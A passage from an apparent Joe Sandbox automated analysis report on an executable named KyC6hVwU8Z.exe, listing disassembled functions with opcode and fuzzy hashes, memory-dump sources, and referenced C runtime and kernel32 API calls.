Instruction Fuzzy Hash: 32A00170A012818F97509F76BA0D3893AA9AA69691709C069A509C9AB0EF3984629F01

Function 001E8FD0 Relevance: 1.1, Instructions: 1051COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1082f597a20006f68921be64cac79960ccb73cdf34a40f293e3e6eb1fa50d675
Instruction ID: 185565cf35d3d140e901aa4c2ba099d0e09f5dcc8a6a2aca48b2e2ac6c2ada05
Opcode Fuzzy Hash: 1082f597a20006f68921be64cac79960ccb73cdf34a40f293e3e6eb1fa50d675
Instruction Fuzzy Hash: 0352F86B7946405FFB04C93AC8E93DB6BD347EA314F1AE43A9488C7252DD6B844F9B01

Function 001C78ED Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d41307911f7375e39ec66ee4083c414f7e1c2d2e53f58429829999296dc0c67d
Instruction ID: 37994a4955d5a00540aa9d19cdb1a3dbc3557a8c1a1f116180c9b26ff38e3c05
Opcode Fuzzy Hash: d41307911f7375e39ec66ee4083c414f7e1c2d2e53f58429829999296dc0c67d
Instruction Fuzzy Hash: 6BF1166BFB1E2007675C84BA8C963AB55C347E832872FE57E5D5AE7255DCACCC0602C4

Function 001D1D4E Relevance: .5, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 487913e4434f8f527f9fdd8f58975b51463a52d774cd3f80a944b39e9aea86b7
Instruction ID: 391966a49ad9f311a289874c9d552084db783ada743c7fae30824d3e5ba5384d
Opcode Fuzzy Hash: 487913e4434f8f527f9fdd8f58975b51463a52d774cd3f80a944b39e9aea86b7
Instruction Fuzzy Hash: F5D1677BFA18100BEB4CC57ACCA63EB66C357D8315F1EE03A884AD7394DD6E8C464684

Function 001E7EF0 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3efe22695a5adb13322844ff0f80127bdf31996e0f8b466b24c065dc9c80b5a7
Instruction ID: 37430926010d98ada26efa4d0c0bc724689f1b5b1ea716416d8f183d474a4549
Opcode Fuzzy Hash: 3efe22695a5adb13322844ff0f80127bdf31996e0f8b466b24c065dc9c80b5a7
Instruction Fuzzy Hash: D581E8367082408FDB08CE39C0E43EB7BD29BA6314F15A82EE899C7352D527984DDF51

Function 001E52E0 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 598cb8a508be8762ed2252ca4a96de3a72d77384f24f5273a4004880ea2b16a9
Instruction ID: e6e283b0c7b46a754bd2c286f005076365d1fffdb8caedc08d2a05083f0a8f80
Opcode Fuzzy Hash: 598cb8a508be8762ed2252ca4a96de3a72d77384f24f5273a4004880ea2b16a9
Instruction Fuzzy Hash: CC71B77A6447408FDB048D39C4A43DF7BD2ABA6348F26682EE885C7352C677C94E9F11

Function 001FC4B3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 001FC5D2
___TypeMatch.LIBVCRUNTIME ref: 001FC6E0
CatchIt.LIBVCRUNTIME ref: 001FC731
_UnwindNestedFrames.LIBCMT ref: 001FC832
CallUnexpected.LIBVCRUNTIME ref: 001FC84D

Strings

csm, xrefs: 001FC4F0
csm, xrefs: 001FC609
csm, xrefs: 001FC55D

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 54683e2caaae89dd80156433bb8a9fcd3f23b083b4c7bdf20d9233f4771cdd69
Instruction ID: 25a0ef0b1cbac862983ce0e4f67564a3fd47f79d8f798d11232660d36054a530
Opcode Fuzzy Hash: 54683e2caaae89dd80156433bb8a9fcd3f23b083b4c7bdf20d9233f4771cdd69
Instruction Fuzzy Hash: 3AB1697190020DDFCF19EFA4CA818BEB7B5BF24310B15415AEA15AB212D731EA51EFD1

Function 001FF6EB Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001FF771

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 41285e77cb004f04a8fd11cd2fb887af5f9d7ae8ca7e119b6c9aa78753bf9a57
Instruction ID: db7af3ffaa2864fdacddf8817f7fa2821f46a182bbe8d5175e1a0e76647953f3
Opcode Fuzzy Hash: 41285e77cb004f04a8fd11cd2fb887af5f9d7ae8ca7e119b6c9aa78753bf9a57
Instruction Fuzzy Hash: FAB14972900359AFDB15CF68CC81BBEBBA5EF55354F154179EA04AB382D3F49902CBA0

Function 001F6D80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001F6DB7
___except_validate_context_record.LIBVCRUNTIME ref: 001F6DBF
_ValidateLocalCookies.LIBCMT ref: 001F6E48
__IsNonwritableInCurrentImage.LIBCMT ref: 001F6E73
_ValidateLocalCookies.LIBCMT ref: 001F6EC8

Strings

csm, xrefs: 001F6E5D

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c62f9e9122b1c2ebcaac31c6505c49e41ca9c4fea53942c89b16c0c0c5b9e984
Instruction ID: 386b84db76b0e3060bf291177a7fb5e89a76fe3228eda055d84f1a85e8a8af5b
Opcode Fuzzy Hash: c62f9e9122b1c2ebcaac31c6505c49e41ca9c4fea53942c89b16c0c0c5b9e984
Instruction Fuzzy Hash: 0F41A239A0020CEBCF10DFA8C885AAEBBB5BF45314F148155EA199B393D731AE15CBD1

Function 001FD10A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,001FD219,?,9C2BD565,00000000,9C2BD565,?,?,001FCFCB,00000022,FlsSetValue,0020BED0,0020BED8,9C2BD565), ref: 001FD1CB

Strings

api-ms-, xrefs: 001FD161
ext-ms-, xrefs: 001FD175

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 7e7479f29bae8e14a6c7101f7043941f39fdf68363cd6439045a0f5eb1d7ea46
Instruction ID: 7488d96b280fea4a723fe95e9268b088bee20c3dcd11bc95020d54c705dd312c
Opcode Fuzzy Hash: 7e7479f29bae8e14a6c7101f7043941f39fdf68363cd6439045a0f5eb1d7ea46
Instruction Fuzzy Hash: 9A21DA72A05315ABD731AB24FC89BBA376AAB527A0F264110FF15A7291DB30ED11C7D0

Function 00208ED6 Relevance: 9.2, APIs: 6, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(02D10580,02D10580,00000000,7FFFFFFF,?,00208EC1,02D10580,02D10580,00000000,02D10580,?,?,?,?,02D10580,00000000), ref: 00208F7C
__freea.LIBCMT ref: 00209111
__freea.LIBCMT ref: 00209117
__freea.LIBCMT ref: 0020914D
__freea.LIBCMT ref: 00209153
__freea.LIBCMT ref: 00209163

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: __freea$Info
String ID:
API String ID: 541289543-0
Opcode ID: 8b832d1d506d2df978fec610bfb98906d91ffba3e884a59f02aa077738e1105a
Instruction ID: ae668b53a803f4ffc2ea79357f5d6b578497e5fd8cc0e79f213e8add3383fbf7
Opcode Fuzzy Hash: 8b832d1d506d2df978fec610bfb98906d91ffba3e884a59f02aa077738e1105a
Instruction Fuzzy Hash: B1712A32A24307ABDF209F648C89BEFB7BA9F49310F580055E959A72C3DB359C60CB50

Function 001FBC13 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,001FBC0A,001F6B5D,001F6204), ref: 001FBC21
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 001FBC2F
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001FBC48
SetLastError.KERNEL32(00000000,001FBC0A,001F6B5D,001F6204), ref: 001FBC9A

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 8e7d3a81e70e40e49b9a895cd0701c3a84a9d73d3c502c2c36b15bed2960a821
Instruction ID: ae2a8d38c5f8b7b920137b5d1c4a7f10f6e524f565cc4d4adfabdc587c5fa47b
Opcode Fuzzy Hash: 8e7d3a81e70e40e49b9a895cd0701c3a84a9d73d3c502c2c36b15bed2960a821
Instruction Fuzzy Hash: 0301473621D31EAEE7246B78FCC95B72B4DEB22334320422AF314451F2EF518D119954

Function 002010C4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\KyC6hVwU8Z.exe, xrefs: 002010E0

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\KyC6hVwU8Z.exe
API String ID: 0-1408772118
Opcode ID: faeb12654ad50ae3fa778439832d25645dc5d73359098471b777a0323b5fd3a2
Instruction ID: 41598626b9ff9801fa49adc3595bf943cda2f66de2e4647ac5b2d9ccfd7509e7
Opcode Fuzzy Hash: faeb12654ad50ae3fa778439832d25645dc5d73359098471b777a0323b5fd3a2
Instruction Fuzzy Hash: 8B212331620306BFDB24AF64CC81D6BB3AAEF003647108624FA59C7692DB30EC31CB90

Function 001F978E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BDC1E488,9C2BD565,?,00000000,0020ADB8,000000FF,?,001F984F,001F9736,?,001F98EB,00000000), ref: 001F97C3
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 001F97D5
FreeLibrary.KERNEL32(00000000,?,00000000,0020ADB8,000000FF,?,001F984F,001F9736,?,001F98EB,00000000), ref: 001F97F7

Strings

mscoree.dll, xrefs: 001F97BC
CorExitProcess, xrefs: 001F97CD

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d863c17a7906f23674dcf5d109af431559743567f4076b92d989f4d9d1f8fda6
Instruction ID: fbd74b4915c671373563b4475a829908d30f4deb52521b1aacac569b045fbef9
Opcode Fuzzy Hash: d863c17a7906f23674dcf5d109af431559743567f4076b92d989f4d9d1f8fda6
Instruction Fuzzy Hash: 65018F31A64719AFDB11AF40EC49FEEB7B9FB08B54F004625F911A26D0DBB49910CA80

Function 001FC8D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,001FC7DE,?,?,00000000,00000000,00000000,?), ref: 001FC8FD
CatchIt.LIBVCRUNTIME ref: 001FC9E3

Strings

MOC, xrefs: 001FC90F
RCC, xrefs: 001FC917

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 4e9f73c920b6bf5fbf3c6bd98277680e5754fbdd9e3286fd76468f205b2da612
Instruction ID: 70e766fb775ac82ea3f65e86ac2ef8d6cbeb7a5d0b24fdb324b7272fb8c687ca
Opcode Fuzzy Hash: 4e9f73c920b6bf5fbf3c6bd98277680e5754fbdd9e3286fd76468f205b2da612
Instruction Fuzzy Hash: E1416A7190020DAFCF15DF98CE81AEEBBB5FF58304F198099FA08A7211D375A950EB91

Function 00203A51 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00203AED,?,?,9C2BD565,?,?,?,00203935,00000000,FlsAlloc,0020C824,0020C82C), ref: 00203A5E
GetLastError.KERNEL32(?,00203AED,?,?,9C2BD565,?,?,?,00203935,00000000,FlsAlloc,0020C824,0020C82C,?,?,001FBBC1), ref: 00203A68
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,?), ref: 00203A90

Strings

api-ms-, xrefs: 00203A75

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 99a9ba2c857a2b1b58b722a020a479676f7ef447d3192fd73582618707ca1a3f
Instruction ID: d489261f867343f9cd2b96e765e2bd6a54ab14751c4e13f28f67eaa673624d08
Opcode Fuzzy Hash: 99a9ba2c857a2b1b58b722a020a479676f7ef447d3192fd73582618707ca1a3f
Instruction Fuzzy Hash: C0E01231790307BBEB105F50EC0EB9C3A5DAB21B81F148021FA4CA44E2DBB199718684

Function 0020440F Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BDC1E488,00000000,00000000,?), ref: 00204472

Part of subcall function 0020177F: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00203EB8,?,00000000,-00000008), ref: 002017E0

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002046C4
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0020470A
GetLastError.KERNEL32 ref: 002047AD

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 982c529239fcc42d752957d626d37abfcd68181fb065a36bb841b254a916fefb
Instruction ID: 474fdaf177d491912a76729a45398bd707c291c242c58ea62064222a719cdede
Opcode Fuzzy Hash: 982c529239fcc42d752957d626d37abfcd68181fb065a36bb841b254a916fefb
Instruction Fuzzy Hash: 5CD18CB5D10258AFCB15DFA8D880AEDBBB5EF49304F24812AE515EB392D730A951CB50

Function 001FC2DC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 001FC3A3
___AdjustPointer.LIBCMT ref: 001FC3C6
___AdjustPointer.LIBCMT ref: 001FC462

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d6d2c5abb3fe6a3300805ddf875bda53af8784694bfc48b3d0fafd1162c7df9f
Instruction ID: 25523f4bb4af25343e0612b5bdd1fa146c7d29d4428de6f56dc4ffe93340189f
Opcode Fuzzy Hash: d6d2c5abb3fe6a3300805ddf875bda53af8784694bfc48b3d0fafd1162c7df9f
Instruction Fuzzy Hash: D051E572A0420EEFDB298F54DA51BBA77A4FF54750F14802DEA4587292D731EC90EBD0

Function 00200B25 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0020177F: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00203EB8,?,00000000,-00000008), ref: 002017E0

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,00200ECB,?,?,?,00000000), ref: 00200B89
__dosmaperr.LIBCMT ref: 00200B90
GetLastError.KERNEL32(00000000,00200ECB,?,?,00000000,?,?,?,00000000,00000000,?,00200ECB,?,?,?,00000000), ref: 00200BCA
__dosmaperr.LIBCMT ref: 00200BD1

Memory Dump Source

